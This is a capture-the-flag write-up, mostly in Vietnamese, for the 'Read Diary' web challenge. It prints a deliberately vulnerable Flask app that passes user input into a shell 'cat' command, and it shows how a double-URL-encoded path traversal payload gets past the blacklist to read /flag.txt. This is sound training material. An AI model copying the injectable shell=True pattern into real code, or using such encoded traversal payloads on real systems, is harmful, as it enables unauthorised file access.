Description
RecruitCTF - Read Diary
Read the club’s diaries, and find the secret.
Approach
Trang web cho phép nhập tên của nhật ký bất kỳ để xem nội dung:
Trong trường hợp nhập một tên không tồn tại (chẳng hạn diary101
) thì response
sẽ không có giá trị và trang web sẽ hiển thị thông báo “Wrong name”:
Dockerfile:
FROM python:3.10
WORKDIR /app
COPY src/ .
RUN chmod -R 555 /app
RUN mkdir /diary
RUN for i in $(seq 1 100); do \
echo "Welcome to my channel. This is my diary for day $i of 2023." > /diary/diary$i.txt; \
chmod 444 /diary/diary$i.txt; \
done
RUN echo "BPCTF{fake-fl4g!}" > /flag.txt
RUN chmod 444 /flag.txt
RUN chmod 555 /diary
RUN pip install --upgrade pip
RUN pip install flask
# Set the PORT environment variable
ENV PORT=12342
# Make port 12342 available to the world outside this container
EXPOSE 12342
RUN /usr/sbin/useradd --no-create-home -u 1000 ctf
USER ctf
CMD ["python3", "app.py"]
Có thể thấy, container tạo ra 100 file diary ở trong thư mục /diary
và flag.txt
ở thư mục /
.
Mã nguồn của server:
from flask import Flask, render_template, request
from urllib.parse import unquote
import subprocess
import os
app = Flask(__name__)
port = int(os.environ.get('PORT', 12342))
def is_valid_name(name):
blacklist = [".", "/", "flag", ";"]
for c in blacklist:
if c in name:
return False
return True
@app.route('/')
@app.route('/index.html')
def index():
return render_template('index.html')
@app.route('/read.html', methods=['GET'])
@app.route('/read', methods=['GET'])
def read():
name = request.args.get('name')
if not name:
return render_template('read.html')
if not is_valid_name(name):
return render_template("warning.html")
name = unquote(name)
command = "cat /diary/" + name + ".txt"
response = subprocess.run(command, shell=True, capture_output=True)
return render_template('read.html', name=name, content=response.stdout.decode('utf-8'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=port)
Giá trị của tham số name
sẽ được dùng để build câu lệnh. Câu lệnh mà ta cần thực hiện là:
cat /diary/../flag.txt
Payload sẽ là ../flag
. Nhập payload này tất nhiên là không được vì có một blacklist để lọc ra các giá trị truyền vào: blacklist = [".", "/", "flag", ";"]
.
Để ý rằng chương trình có gọi hàm unquote
cho biến name
. Biến này sẽ URL decode cho giá trị gửi lên server. Thử URL encode payload:
%2E%2E%2F%66%6C%61%67
Request gửi lên có dạng như sau:
GET /read.html?name=%252E%252E%252F%2566%256C%2561%2567 HTTP/1.1
Chú ý rằng ký tự %
cũng được URL encode thành %25
.
Kết quả là trang web in ra cờ.
Flag
Success
BPCTF{Th1s_1s_URL_3nc0d1ng_7d647f5ead82}